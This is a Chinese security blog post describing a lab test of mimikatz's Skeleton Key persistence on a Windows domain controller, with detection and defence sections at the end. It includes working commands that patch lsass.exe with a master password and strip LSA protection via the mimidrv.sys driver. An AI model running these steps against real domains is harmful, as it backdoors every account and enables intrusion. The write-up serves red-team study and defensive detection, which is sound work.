0%

域渗透维权之Skeleton Key

0x00前言

如上上篇博客所介绍两种利用SSP进行域控权限维持的方法,都需要域控重启才可生效。本篇利用skeleton key则是立即生效,skeleton key可作为金票的替代品。

0x01 简介

  • 在64位域控服务器上使用,因为skeleton key被安装在64位DC上
  • 只是让所有域用户使用同一个万能密码进行登录其目前用户可以用原密码进行登录
  • 但重启后失效

mimikatz万能密码实现原理

在DC上以域控权限运行skeleton,能够将Kerberos认证加密降到RC4_HMAC_MD5,并以内存更新的方式给lsass.exe进程patch一个主密码mimikatz。

0x02 测试

测试环境

IP 描述 系统
192.168.221.139 DC windows server 2019(x64)
192.168.221.140 域管/域成员 windows 10(x64)

攻击测试

1.在DC上以域控权限运行skeleton key,将Kerberos的认证加密降到RC4_HMAC_MD5,并以内存更新的方式给lsass.exe进程patch密码mimikatz。但是为什么要这么做还是得把所有攻击复现完成之后看看mimikatz的源码,这个工程量一定巨大

此处借用后续绕过PPL的图,先提到debug权限,然后patch密码

2.域内用户利用skeleton key登录域控

域控使用密码mimikatz建立IPC连接-net use

域管账户登录域控

普通账户登录域控时可以发现根本没有权限.可以证明只有patch了密码的域管账号才可以查看DC的目录。

LSA保护

为了防止对lsass.exe的代码注入,微软在14年添加了LSA保护策略,便无法使用mimikatz对lsass.exe进行注入。当然需要我们配置一下注册表

重启系统

试试mimikatz直接patch万能密码,发现不可行

绕过LSA

当然对于LSA protection,mimikatz也是有办法绕过的.必须驱动文件:mimidrv.sys。导入驱动文件后,绕过LSA保护

直接用域管账号测试:

测试结束记得重启域控

命令集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 清除net use连接
net use * /del /y
# 用户名密码建立net use共享资源连接
net use \\域控主机全名 mimikatz /user:用户名

# mimikatz patch密码
privilege::debug
misc::skeleton
# 绕过LSA protection
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

0x04 检测

  • 日志4697:记录mimidrv.sys驱动的安装事件
  • sysmon日志13:mimidrv服务及对应的驱动程序
  • sysmon日志6:驱动被加载且未签名

0x05 防御

  • zBang扫描子项:Skeleton Key scan - 发现可能被 Skeleton Key 恶意感染的域控
  • SkeletonKeyScanner脚本扫描,主要通过文件名 Yara规则 已知恶意与非恶意文件的哈希 进程等进行检测:https://github.com/Neo23x0/SkeletonKeyScanner

总结

红队可以用Skeleton Key可在不需要破解任何域用户密码的情况下访问域内主机和网络资源。唯一的缺陷是当DC重启后,将不起作用。

参考:

  1. https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Skeleton%20Key.html
  2. https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml
  3. https://pentestlab.blog/2018/04/10/skeleton-key/
你想在文章末尾对读者说的话